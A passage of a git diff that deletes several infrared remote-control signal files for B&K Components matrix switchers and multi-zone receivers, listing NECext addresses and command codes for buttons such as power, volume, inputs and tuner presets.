parsed -protocol: NECext -address: 5B 4A 00 00 -command: EB 00 00 00 -# -name: TREB_UP -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: F9 00 00 00 -# -name: VIDEO_+ -type: parsed -protocol: NECext -address: 5B 4A 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir deleted file mode 100644 index d3d8348ca..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Matrix Switcher/95,10.ir +++ /dev/null @@ -1,242 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: POWER_OFF -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 01 00 00 00 -# -name: POWER_ON -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 02 00 00 00 -# -name: MUTE -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 03 00 00 00 -# -name: INPUT_1 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 05 00 00 00 -# -name: INPUT_3 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 06 00 00 00 -# -name: INPUT_8 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 07 00 00 00 -# -name: INPUT_2 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 09 00 00 00 -# -name: INPUT_7 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 0B 00 00 00 -# -name: INPUT_4 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 0D 00 00 00 -# -name: INPUT_5 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 0F 00 00 00 -# -name: STA_- -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 17 00 00 00 -# -name: STA_+ -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 18 00 00 00 -# -name: TUNE_- -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 1B 00 00 00 -# -name: TUNE_+ -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 1C 00 00 00 -# -name: C_LEFT -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 1F 00 00 00 -# -name: C_RIGHT -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 20 00 00 00 -# -name: VOLUME_- -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 23 00 00 00 -# -name: VOLUME_+ -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 24 00 00 00 -# -name: +10 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 29 00 00 00 -# -name: C_DOWN -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 2D 00 00 00 -# -name: C_UP -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 2E 00 00 00 -# -name: MENU -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 2F 00 00 00 -# -name: C_ENTER -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 30 00 00 00 -# -name: 1 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 31 00 00 00 -# -name: 2 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 32 00 00 00 -# -name: 3 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 33 00 00 00 -# -name: 4 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 35 00 00 00 -# -name: 5 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 36 00 00 00 -# -name: 6 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 37 00 00 00 -# -name: 7 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 39 00 00 00 -# -name: 8 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 3A 00 00 00 -# -name: 9 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 3B 00 00 00 -# -name: 0 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 3E 00 00 00 -# -name: ZONE -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 3F 00 00 00 -# -name: INPUT_6 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 4A 00 00 00 -# -name: D-IN -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 5A 00 00 00 -# -name: INPUT_9 -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 6E 00 00 00 -# -name: AM -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 76 00 00 00 -# -name: EXIT -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 7D 00 00 00 -# -name: FM -type: parsed -protocol: NECext -address: 5F 0A 00 00 -command: 8E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir deleted file mode 100644 index 85b44a528..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/103,137.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK024_POWER_OFF -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 01 00 00 00 -# -name: BK024_POWER_ON -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 02 00 00 00 -# -name: BK024_MUTE -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 03 00 00 00 -# -name: BK024_INPUT_1 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 05 00 00 00 -# -name: BK024_INPUT_3 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 06 00 00 00 -# -name: BK024_INPUT_8 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 07 00 00 00 -# -name: BK024_INPUT_2 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 09 00 00 00 -# -name: BK024_INPUT_7 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 0B 00 00 00 -# -name: BK024_INPUT_4 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 0D 00 00 00 -# -name: BK024_TUNER_1 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 0E 00 00 00 -# -name: BK024_INPUT_5 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 0F 00 00 00 -# -name: BK024_STATION- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 17 00 00 00 -# -name: BK024_STATION+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 18 00 00 00 -# -name: BK024_TUNE- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 1B 00 00 00 -# -name: BK024_TUNE+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 1C 00 00 00 -# -name: BK024_LEFT -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 1F 00 00 00 -# -name: BK024_RIGHT -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 20 00 00 00 -# -name: BK024_VOLUME- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 23 00 00 00 -# -name: BK024_VOLUME+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 24 00 00 00 -# -name: BK024_NUMBER_+10 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 29 00 00 00 -# -name: BK024_EQ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 2A 00 00 00 -# -name: BK024_DOWN -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 2D 00 00 00 -# -name: BK024_UP -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 2E 00 00 00 -# -name: BK024_ENTER -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 30 00 00 00 -# -name: BK024_NUMBER_1 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 31 00 00 00 -# -name: BK024_NUMBER_2 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 32 00 00 00 -# -name: BK024_NUMBER_3 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 33 00 00 00 -# -name: BK024_NUMBER_4 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 35 00 00 00 -# -name: BK024_NUMBER_5 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 36 00 00 00 -# -name: BK024_NUMBER_6 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 37 00 00 00 -# -name: BK024_NUMBER_7 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 39 00 00 00 -# -name: BK024_NUMBER_8 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 3A 00 00 00 -# -name: BK024_NUMBER_9 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 3B 00 00 00 -# -name: BK024_NUMBER_0 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 3E 00 00 00 -# -name: BK024_SAVE -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 40 00 00 00 -# -name: BK024_TUNER_3 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 44 00 00 00 -# -name: BK024_INPUT_6 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 4A 00 00 00 -# -name: BK024_PRESET+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 4B 00 00 00 -# -name: BK024_D-IN -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 5A 00 00 00 -# -name: BK024_BASS- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 65 00 00 00 -# -name: BK024_SOURCE+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 66 00 00 00 -# -name: BK024_INPUT_9 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 6E 00 00 00 -# -name: BK024_AM -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 76 00 00 00 -# -name: BK024_TREBLE- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 79 00 00 00 -# -name: BK024_VIDEO- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 7A 00 00 00 -# -name: BK024_EXIT -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 7D 00 00 00 -# -name: BK024_TUNER_2 -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 84 00 00 00 -# -name: BK024_FM -type: parsed -protocol: NECext -address: 67 89 00 00 -command: 8E 00 00 00 -# -name: BK024_SOURCE- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: A6 00 00 00 -# -name: BK024_SLEEP -type: parsed -protocol: NECext -address: 67 89 00 00 -command: B3 00 00 00 -# -name: BK024_PRESET- -type: parsed -protocol: NECext -address: 67 89 00 00 -command: C6 00 00 00 -# -name: BK024_LOUDNESS -type: parsed -protocol: NECext -address: 67 89 00 00 -command: CF 00 00 00 -# -name: BK024_AUTO_LEVEL -type: parsed -protocol: NECext -address: 67 89 00 00 -command: E4 00 00 00 -# -name: BK024_BASS+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: E5 00 00 00 -# -name: BK024_TREBLE+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: F9 00 00 00 -# -name: BK024_VIDEO+ -type: parsed -protocol: NECext -address: 67 89 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir deleted file mode 100644 index 39e2a52f8..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/119,-1.ir +++ /dev/null @@ -1,326 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK031_MUTE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 03 00 00 00 -# -name: BK031_INPUT_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 05 00 00 00 -# -name: BK031_INPUT_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 06 00 00 00 -# -name: BK031_INPUT_8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 07 00 00 00 -# -name: BK031_INPUT_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 09 00 00 00 -# -name: BK031_INPUT_7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0B 00 00 00 -# -name: BK031_INPUT_4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0D 00 00 00 -# -name: BK031_TUNER_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0E 00 00 00 -# -name: BK031_INPUT_5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 0F 00 00 00 -# -name: BK031_STATION- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 17 00 00 00 -# -name: BK031_STATION+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 18 00 00 00 -# -name: BK031_TUNE- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1B 00 00 00 -# -name: BK031_TUNE+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1C 00 00 00 -# -name: BK031_LEFT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 1F 00 00 00 -# -name: BK031_RIGHT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 20 00 00 00 -# -name: BK031_VOLUME- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 23 00 00 00 -# -name: BK031_VOLUME+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 24 00 00 00 -# -name: BK031_NUMBER_+10 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 29 00 00 00 -# -name: BK031_EQ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2A 00 00 00 -# -name: BK031_DOWN -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2D 00 00 00 -# -name: BK031_UP -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 2E 00 00 00 -# -name: BK031_ENTER -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 30 00 00 00 -# -name: BK031_NUMBER_1 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 31 00 00 00 -# -name: BK031_NUMBER_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 32 00 00 00 -# -name: BK031_NUMBER_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 33 00 00 00 -# -name: BK031_NUMBER_4 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 35 00 00 00 -# -name: BK031_NUMBER_5 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 36 00 00 00 -# -name: BK031_NUMBER_6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 37 00 00 00 -# -name: BK031_NUMBER_7 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 39 00 00 00 -# -name: BK031_NUMBER_8 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3A 00 00 00 -# -name: BK031_NUMBER_9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3B 00 00 00 -# -name: BK031_NUMBER_0 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 3E 00 00 00 -# -name: BK031_SAVE -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 40 00 00 00 -# -name: BK031_TUNER_3 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 44 00 00 00 -# -name: BK031_INPUT_6 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4A 00 00 00 -# -name: BK031_PRESET+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 4B 00 00 00 -# -name: BK031_D-IN -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 5A 00 00 00 -# -name: BK031_BASS- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 65 00 00 00 -# -name: BK031_SOURCE+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 66 00 00 00 -# -name: BK031_INPUT_9 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 6E 00 00 00 -# -name: BK031_AM -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 76 00 00 00 -# -name: BK031_TREBLE- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 79 00 00 00 -# -name: BK031_VIDEO- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 7A 00 00 00 -# -name: BK031_EXIT -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 7D 00 00 00 -# -name: BK031_TUNER_2 -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 84 00 00 00 -# -name: BK031_FM -type: parsed -protocol: NECext -address: 77 00 00 00 -command: 8E 00 00 00 -# -name: BK031_SOURCE- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: A6 00 00 00 -# -name: BK031_SLEEP -type: parsed -protocol: NECext -address: 77 00 00 00 -command: B3 00 00 00 -# -name: BK031_PRESET- -type: parsed -protocol: NECext -address: 77 00 00 00 -command: C6 00 00 00 -# -name: BK031_LOUDNESS -type: parsed -protocol: NECext -address: 77 00 00 00 -command: CF 00 00 00 -# -name: BK031_AUTO_LEVEL -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E4 00 00 00 -# -name: BK031_BASS+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: E5 00 00 00 -# -name: BK031_TREBLE+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: F9 00 00 00 -# -name: BK031_VIDEO+ -type: parsed -protocol: NECext -address: 77 00 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir deleted file mode 100644 index 97ec9198d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/123,72.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK015_POWER_OFF -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 01 00 00 00 -# -name: BK015_POWER_ON -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 02 00 00 00 -# -name: BK015_MUTE -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 03 00 00 00 -# -name: BK015_INPUT_1 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 05 00 00 00 -# -name: BK015_INPUT_3 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 06 00 00 00 -# -name: BK015_INPUT_8 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 07 00 00 00 -# -name: BK015_INPUT_2 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 09 00 00 00 -# -name: BK015_INPUT_7 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0B 00 00 00 -# -name: BK015_INPUT_4 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0D 00 00 00 -# -name: BK015_TUNER_1 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0E 00 00 00 -# -name: BK015_INPUT_5 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 0F 00 00 00 -# -name: BK015_STATION- -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 17 00 00 00 -# -name: BK015_STATION+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 18 00 00 00 -# -name: BK015_TUNE- -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1B 00 00 00 -# -name: BK015_TUNE+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1C 00 00 00 -# -name: BK015_LEFT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 1F 00 00 00 -# -name: BK015_RIGHT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 20 00 00 00 -# -name: BK015_VOLUME- -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 23 00 00 00 -# -name: BK015_VOLUME+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 24 00 00 00 -# -name: BK015_NUMBER_+10 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 29 00 00 00 -# -name: BK015_EQ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2A 00 00 00 -# -name: BK015_DOWN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2D 00 00 00 -# -name: BK015_UP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 2E 00 00 00 -# -name: BK015_ENTER -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 30 00 00 00 -# -name: BK015_NUMBER_1 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 31 00 00 00 -# -name: BK015_NUMBER_2 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 32 00 00 00 -# -name: BK015_NUMBER_3 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 33 00 00 00 -# -name: BK015_NUMBER_4 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 35 00 00 00 -# -name: BK015_NUMBER_5 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 36 00 00 00 -# -name: BK015_NUMBER_6 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 37 00 00 00 -# -name: BK015_NUMBER_7 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 39 00 00 00 -# -name: BK015_NUMBER_8 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3A 00 00 00 -# -name: BK015_NUMBER_9 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3B 00 00 00 -# -name: BK015_NUMBER_0 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 3E 00 00 00 -# -name: BK015_SAVE -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 40 00 00 00 -# -name: BK015_TUNER_3 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 44 00 00 00 -# -name: BK015_INPUT_6 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 4A 00 00 00 -# -name: BK015_PRESET+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 4B 00 00 00 -# -name: BK015_D-IN -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 5A 00 00 00 -# -name: BK015_BASS- -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 65 00 00 00 -# -name: BK015_SOURCE+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 66 00 00 00 -# -name: BK015_INPUT_9 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 6E 00 00 00 -# -name: BK015_AM -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 76 00 00 00 -# -name: BK015_TREBLE- -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 79 00 00 00 -# -name: BK015_VIDEO- -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 7A 00 00 00 -# -name: BK015_EXIT -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 7D 00 00 00 -# -name: BK015_TUNER_2 -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 84 00 00 00 -# -name: BK015_FM -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: 8E 00 00 00 -# -name: BK015_SOURCE- -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: A6 00 00 00 -# -name: BK015_SLEEP -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: B3 00 00 00 -# -name: BK015_PRESET- -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: C6 00 00 00 -# -name: BK015_LOUDNESS -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: CF 00 00 00 -# -name: BK015_AUTO_LEVEL -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: E4 00 00 00 -# -name: BK015_BASS+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: E5 00 00 00 -# -name: BK015_TREBLE+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: F9 00 00 00 -# -name: BK015_VIDEO+ -type: parsed -protocol: NECext -address: 7B 48 00 00 -command: FA 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir deleted file mode 100644 index f8f107e7d..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/BnK_Components/Multi-Zone Receiver/135,135.ir +++ /dev/null @@ -1,338 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: BK019_POWER_OFF -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 01 00 00 00 -# -name: BK019_POWER_ON -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 02 00 00 00 -# -name: BK019_MUTE -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 03 00 00 00 -# -name: BK019_INPUT_1 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 05 00 00 00 -# -name: BK019_INPUT_3 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 06 00 00 00 -# -name: BK019_INPUT_8 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 07 00 00 00 -# -name: BK019_INPUT_2 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 09 00 00 00 -# -name: BK019_INPUT_7 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 0B 00 00 00 -# -name: BK019_INPUT_4 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 0D 00 00 00 -# -name: BK019_TUNER_1 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 0E 00 00 00 -# -name: BK019_INPUT_5 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 0F 00 00 00 -# -name: BK019_STATION- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 17 00 00 00 -# -name: BK019_STATION+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 18 00 00 00 -# -name: BK019_TUNE- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 1B 00 00 00 -# -name: BK019_TUNE+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 1C 00 00 00 -# -name: BK019_LEFT -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 1F 00 00 00 -# -name: BK019_RIGHT -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 20 00 00 00 -# -name: BK019_VOLUME- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 23 00 00 00 -# -name: BK019_VOLUME+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 24 00 00 00 -# -name: BK019_NUMBER_+10 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 29 00 00 00 -# -name: BK019_EQ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 2A 00 00 00 -# -name: BK019_DOWN -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 2D 00 00 00 -# -name: BK019_UP -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 2E 00 00 00 -# -name: BK019_ENTER -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 30 00 00 00 -# -name: BK019_NUMBER_1 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 31 00 00 00 -# -name: BK019_NUMBER_2 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 32 00 00 00 -# -name: BK019_NUMBER_3 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 33 00 00 00 -# -name: BK019_NUMBER_4 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 35 00 00 00 -# -name: BK019_NUMBER_5 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 36 00 00 00 -# -name: BK019_NUMBER_6 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 37 00 00 00 -# -name: BK019_NUMBER_7 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 39 00 00 00 -# -name: BK019_NUMBER_8 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 3A 00 00 00 -# -name: BK019_NUMBER_9 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 3B 00 00 00 -# -name: BK019_NUMBER_0 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 3E 00 00 00 -# -name: BK019_SAVE -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 40 00 00 00 -# -name: BK019_TUNER_3 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 44 00 00 00 -# -name: BK019_INPUT_6 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 4A 00 00 00 -# -name: BK019_PRESET+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 4B 00 00 00 -# -name: BK019_D-IN -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 5A 00 00 00 -# -name: BK019_BASS- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 65 00 00 00 -# -name: BK019_SOURCE+ -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 66 00 00 00 -# -name: BK019_INPUT_9 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 6E 00 00 00 -# -name: BK019_AM -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 76 00 00 00 -# -name: BK019_TREBLE- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 79 00 00 00 -# -name: BK019_VIDEO- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 7A 00 00 00 -# -name: BK019_EXIT -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 7D 00 00 00 -# -name: BK019_TUNER_2 -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 84 00 00 00 -# -name: BK019_FM -type: parsed -protocol: NECext -address: 87 87 00 00 -command: 8E 00 00 00 -# -name: BK019_SOURCE- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: A6 00 00 00 -# -name: BK019_SLEEP -type: parsed -protocol: NECext -address: 87 87 00 00 -command: B3 00 00 00 -# -name: BK019_PRESET- -type: parsed -protocol: NECext -address: 87 87 00 00 -command: C6 00 00 00 